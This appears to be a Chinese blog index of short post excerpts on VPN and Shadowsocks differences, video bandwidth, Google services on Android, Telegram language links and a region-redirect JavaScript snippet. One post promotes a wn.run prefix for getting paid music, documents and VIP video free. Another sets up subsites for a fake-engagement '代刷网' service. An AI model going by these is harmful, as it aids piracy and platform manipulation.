1 VPN是什么? VPN,全称:Virtual Private Network,中文翻译:虛拟私人网络。 作用:提供安全可靠的通信渠道,一般而言企业使用较多。 延伸作用:科学上网。 说明:VPN的出现并不是为了“科学上网”,二是在公网上建立加密的通信渠道。例如,公司员工出差或者在寝室,想要登录公司内网邮箱怎么办?这时VPN就派上用场了,可以通过第三方连接工具进行远程连接,比如思科就有相应的工具。 2 何为SS? SS全称shadowsocks,一开始为个人独立开发并用作“科学上网”,后被大家所熟知和广泛使用。再后来,据说作者被请去“喝茶”,停止了该项目。 3 什么是55R? 55R全称shadowsocks-R。55R作者声称SS不够隐匿,容易被防火墙检测到,55R在改进了混淆和协议,更难被防火墙检测到。简单地说,55R是SS的改进版。 4 VPN与55R、SS的区别? SS和55R两者原理相同,都是基于socks5代理。客户端与服务端没有建立专有通道,客户端和实际要访问的服务端之间通过代理服务器进行通信,客户端发送请求和接受服务端返回的数据都要通过代理服务器。 55R目的是为了能让流量通过防火墙。 客户端请求服务端数据流程(55R): (1)浏览器发送请求(基于socks5协议), 通过55R客户端将sock5协议通过协议插件和混淆插件进行转换加密,使得来自客户端的流量和基于HTTP协议的流量无差别; (2)55R服务端(代理服务器)收到请求后,通过混淆插件、协议插件将数据解密并还原协议,最后转发到目标服务器。 服务端返回数据到客户端同理。 VPN与55R、SS的区别? 目的(作用)不同,VPN是为了保证通信的安全性、私密性,不是专门为“科学上网”制定的技术;而SS/55R则是为了转发客户端流量,绕过防火墙的检测,从而达到“科学上网”的真实意图,但是没有保证数据传输的安全性。 其实55R和SS区别不大,不必为了使用而使用,只要能达到目标,用哪一个都是可以的。 ...
-
流畅看1080p、2k、4k视频需要多大带宽?
一些网友买VPS或机场服务是为了看外网视频,于是产生了一个问题:流畅看1080p、2k、4k视频需要多大带宽? 本文先介绍相关概念,然后给出这个问题的具体答案。 1080p、2k、4k视频 720p、1080p和2k、4k稍微有点不一样:720p和1080p的P指Progressive scan,所以720p和1080p是显示格式,而2k和4k指的是分辨率。但一般情况下我们不做区分,认为这几个概念说的都是视频分辨率。 这几个概念对应的分辨率分别为: 720P:分辨率1280*720 1080P:分辨率1920*1080 2k:分辨率2048*1080 4k:分辨率4096*2160 可以看到,1080P的分辨率其实和2k几乎没差别。因为2k是水平分辨率在2000左右的设备或内容,所以1080P可以归类到2k。 流畅看1080p、2k、4k视频需要多大带宽? 要回答这个问题,首先从理论上推导:4k视频分辨率4092*2160,每个像素用红蓝绿三个256色(8bit)数据表示,视频帧数为60fps,那么一秒钟画面的数据量是:4096*2160*3*8*60≈11.9Gbps。此外声音大概是视频数据量的十分之一,因此4k视频一秒钟的数据量大概是13Gb≈1.6GB。 所以理论上要想流畅看4k,下载速度需要达到1.6GB/s,也就是13Gbps。 目前绝大部分的家用路由器、手机、电脑、网线等设备至多都是千兆(1000Mbps,也就是1Gbps),而13Gbps至少需要万兆网卡、交换机和网线的支持,这显然不现实。 以上推导没考虑视频都会经过编码和压缩然后再传输。根据最新的H.265编码标准,编码后视频的压缩比是350~1000。那么1秒4k视频经过压缩后,大概是13Mb~38Mb,即1.7MB/s~5MB/s的下载速度就可以了,这个数据都在大家的接受范围内,因此4k视频推广条件其实很成熟。 根据同样的计算方法,下面是各个分辨率视频对VPS带宽的要求: 720P:服务器带宽要求1.35Mbps~4Mbps,建议2Mbps及以上 1080P:服务器带宽要求3Mbps~9.5Mbps,建议5Mbps及以上 2k:服务器带宽要求3Mbps~10Mbps,建议6Mbps及以上 4k:服务器带宽要求13Mbps~38Mbps,建议25Mbps及以上 最后:看视频不卡,自己觉得够清晰就行了,没必要非得追求4k,和别人飙油管数据也没多大意义。 ...
-
国行Android手机轻松安装Google服务框架最新版只需一步
免责声明 !!!本站纯粹的技术性交流!!! !!!请勿违反我国法律法规!!! !!!如有违规还请网警大大高抬贵手联系我删除!!!! ===================================== 科学上网的问题,请大家遵从我国法律,请勿滥用! 请勿转发外网与政治等敏感相关等问题以及讨论与政治等敏感信息! 屏蔽翻/墙是为了保障好的政策环境, 互联网自由开放的程度是必须得把控的,希望你明白,珍惜这眼前的美好。 ====================================== 免责声明:本站所有有关科学上网等均是从互联网上转载,与本站无关。从本站下载的所有相关科学上网软件只供学术搜索、讨论等,下载后请于24小时内删除,一切责任与本站无关!请遵从我国法律! PS:不管怎么样还是祖国好,请一定注意你们的形象!China No.1! 看到很多粉粉们都在反应谷歌服务框架不能用,而且安装谷歌的应用都无法正常运行,提示无法连接到服务器等各种问题,昨天发现终于可以解决了,做了这个教程给大家。 大家都知道由于谷歌已经退出了中国大陆市场了,所以在国内手机的谷歌应用是无法使用国内普通网络访问谷歌服务器使用哦~ 那么我们怎么才能安装使用谷歌框架服务呢? 教程细节步骤: Goole空间已更名为ourplay的安装方法这里不做赘述,百度搜一下谷歌空间,官网下载安装即可。 主要给大家介绍下如何通过Google空间来使用Google Play。 首次打开Google空间会自动安装好谷歌基础服务套件,同时也会自动将Google Play商店安装好,这里要看手机网速了,网速好十几秒就可以搞定,网速不好那可能需要泡一碗泡面的时间。全程自动化,这个设计比较良心。 自动配置完成后,你就可以在首页看到Google Play了,套件有新版本的时候也会同步自动更新,同时里面内置了国外节点,包括:美国、日本、韩国、中国台湾等,相当于中转功能,选择一个你喜欢的节点,就可以直接使用Google Play了。 这种方式的优点是方便、省心、免费,也不会存在进程杀不掉耗电高的问题;缺点是由于Google空间相当于在手机内创造一个独立的虚拟空间,目前还没办法导出到桌面,只能在软件内使用Google Play商店。 ...
-
微信双开简单方法
废话不多说 直接进入正题 鼠标双击打开微信的同时,疯狂按 回车 亲测成功...
-
德云社励志惊艳文案 德云社文案太会了
1.海纳百川,海为什么能纳百川呢?不是因为海大,不是因为海深,是因为海的姿态低。 2.能聚一块叫朋,过心照顾能叫友,朋包括友,友不包括朋,但是能到朋友那已经了不得了。 3.爱惜羽毛的前提你得是个鹰,你要是个掸子你就别费那个劲儿。 4.天下很多事情其实跟努力是没有关系的,百分之九十九靠天赋,如果你有天赋了,你能再努力 那叫锦上添花,如果你没有天赋只是努力的话,只是落一个你有好身体。 5.冤枉你的人比你还知道你有多冤枉。 6.人与人没有可比性,你唯一能做的就是不断和自己比较,今天的是是否战胜了昨天的自己! 7. 社会从来都是不拿公平说话的,他们只看你的实力。就像从“反三俗”到“发扬传统文化”,中间差的,其实就是你有没有足够的能力去解决问题的本事而已。 8.小人永远是小人,他不会因为你的客气而改变,世上的恶人都是怂人惯出来的。 9.他站起来我说相声 他站不起来我推轮椅。 10.冤枉你的人比你还知道你有多冤枉。 11.我等你们长大 你们伴我成长。 12.太阳太阳 你能照见南边也能照见北边儿 你要是照见他你帮我跟他说一声 我想他了。 13.什么是爱情啊?就是简简单单的我喜欢你,我想跟你在一块,天天一块工作,一块吃饭,一块生活。 14.后来啊,我才明白,太阳都做不到让所有人喜欢,你说它温暖,我说它刺眼,谁能不挨骂呀? 15.有一句话叫触底反弹,我挺相信这句话的,你最难的时候会有一些别的转机。 16.人生就是应该处处克制,打人生下来就应该控制自己的所有欲望,包括克制自己的愤怒。 17.后来啊,我才想明白。太阳都没办法做到让所有人喜欢,你说它温暖,我说它刺眼,谁能不挨骂啊。 18.我来自云南周口,你来自北京元谋,我牵起你毛茸茸的小手,爱情让我们直立行走。 19.怎么网红啊我们也正儿八经说相声。 20.我们就像橱窗里的商品,商品能做的只是尽量展示自己。 21.我虽然长得不漂亮,但是让你们快乐是我毕生的梦想。 22..沾酒不醉是喝的少,见色不迷是摸不着。以德服人是打不过,淡泊名利是实在没有招。 23.我挺厌恶有一种人,不明白任何情况,就劝你一定要大度的人。这种人你要离他远一点,因为雷劈他的时候会连累到你! 24.人生在世,谁都会吃屎,但是别嚼。跟狗抢路,让狗先过,不丢人! 25.没有环岛,没有高速,没有草坪,路也不是很宽,你只能遇见我。 26.孩子在街上走,穿着打扮看出娘的手艺,说话办事显出爹的教养。 27.有趣的灵魂其实就是不给别人添麻烦的灵魂。 28.终于我们也看到了花团锦簇 我们也知道了灯彩佳话 那一夜,我也曾梦见百万雄兵。 ...
-
网址前加上一段命令wn.run/ 居然让我发现新大陆
今天发现个非常实用的网站,在网址前加上一段神奇的命令,居然发现了新大陆。 在你当前浏览的网站的网址最前面加上wn.run/ (wn万能的缩写)后回车,看看有没有什么神奇的变化呢? 是不是出现了一系列神奇的工具? 正巧小歪在浏览百度文库,在网址前添加wn.run/ 后,居然可以下载文库的文件。 接着我又试了下几个常用的网站,看看究竟都有什么功能? 淘宝网,京东等 添加wn.run/以后商品页面直接显示商品的历史价格,方便购物党比价。 酷狗,网易云音乐等 添加wn.run/以后直接显示当前音乐的真实下载地址,管你是不是VIP,统统下。 爱奇艺,腾讯,bilibili等 添加wn.run/以后显示视频下载地址和某些付费特殊视频解锁,居然比VIP还屌。 百度文库,豆丁文库等 添加wn.run/以后可以免积分直接下载当前的文档源文件,源文件,源文件。 其他网站 添加wn.run/以后可以将网页存为PDF,一键翻译,查看历史记录,一键截图,查看支持的油猴脚本等。 这个命令非常强大,适用于所有网站,在你正在浏览的网站前加上它,看看有没有什么惊喜呢!注意最后有一个 / 哦!...
-
微博|晒图第九届性感大赛了
大的遗憾不是错过最好的人,而是当你遇见最好的人时候, 已经把最好的自己用完了。不需要过多解释~ 围观地址:https://weibo.com/6584869435/JyanswBhn 往期:很小清新 围观地址:https://weibo.com/6584869435/Jx6kuCJvF ...
-
JS屏蔽指定地区访客浏览网站
某些特殊情况下网站可能需要屏蔽部分地区的访问 将以下代码添加到网站模板即可使用 页面加入js代码(以屏蔽北京为例): Markup <script type="text/javascript" src="//pv.sohu.com/cityjson" charset="gb2312"></script> <script type="text/javascript"> var city = returnCitySN['cname']; if(city.indexOf('北京') != -1) { window.location.href = "https://www.baidu.com" } </script>...
-
百度在线免费登记版权作品
百度版权服务平台限时免费登记作品版权,发证机关是北京市版权局,包含文字、音乐、电影等作品都可以申请自己的版权证书。 活动地址:http://copyright.baidu.com/ ...
-
有些人,经不起等待
一场冬雨,淋湿了心里的回忆。寒来暑往,物是人非,年少时并肩前行的人,如今已是各奔天涯,你想不起一些人的名字,记不清一些人的样子。时间真的很残酷,关于过去的种种,只能怀念,不能重来。 这世间,有多少爱,被时间覆盖,有多少人,被岁月带走。 曾以为时间还多,和朋友的约定总在推迟,和爱人的计划总在改变。一些事,你想着明天再去做,一些人,你想着明天再去见。可是生活的样子,你永远无法预测,过了那个时间,过了那个地点,有些故事已成云烟,有些朋友,已成过往。 人与人之间,经不起等待,两个人不联系,感情就淡了,长时间不见面,距离就远了。再加上生活中还有许多不确定的因素,比如突然间的别离,不得已的放弃,和毫无征兆的疾病。 我曾看过一段话说: “有些事情,现在不去做,以后很有可能永远也做不了。不是没时间,就是因为有时间,你才会一拖再拖,放心让它们搁在那里,任凭风吹雨打,铺上厚厚的灰尘。而你终将遗忘曾经想要做的事、想要说的话、想要抓住的人。” 其实,这世间的相见,都是命运的馈赠。如果有人在你身边嘘寒问暖,懂你悲欢,请你一定要紧紧抓住,对他好一点,爱他久一点,别用冷漠去试探一颗真心,别用任性去考验一段感情。 没有人会一直在原地等你,但等你的人一定很爱你,别辜负,别遗憾。 来日并不方长,好好珍惜当下的每一个人。 ...
-
Telegram中文设置教程
电报(telegram)是通信业务的一种,是最早使用电进行通信的方法。它利用电流(有线)或电磁波(无线)作载体,通过编码和相应的电处理技术实现人类远距离传输与交换信息的通信方式。电报大为加快了消息的流通,是工业社会的其中一项重要发明。早期的电报只能在陆地上通讯,后来使用了海底电缆,开展了越洋服务。到了20世纪初,开始使用无线电拍发电报,电报业务基本上已能抵达地球上大部份地区。电报主要是用作传递文字讯息,使用电报技术用作传送图片称为传真。 使用教程: 安装最新版TG,设置里的语言是没中文的,还需要自行设置。去点一下下面的官方链接,自动设置语言,设置里的语言选项也会有中文选项。具体操作:复制官方相应地址,到TG里的一个聊天窗口,然后点一下链接就自动设置好了。 官方设置链接: 英文:tg://setlanguage?lang=en 简体中文:tg://setlanguage?lang=zh-hans-raw 繁体中文:tg://setlanguage?lang=zh-hant-raw...
-
代刷网分站开通|乏解析与绑定
主机记录选择或填写 * 记录值就是填主机控制面板写的地址 记录类型:CNAME 线路类型和TTL默认就行 (如下图所示) 绑定域名格式 *.域名 (注意*后面有个 “.”) 这样就乏解析就完成绑定和解析了,代刷网也就支持开通分站了哦! ...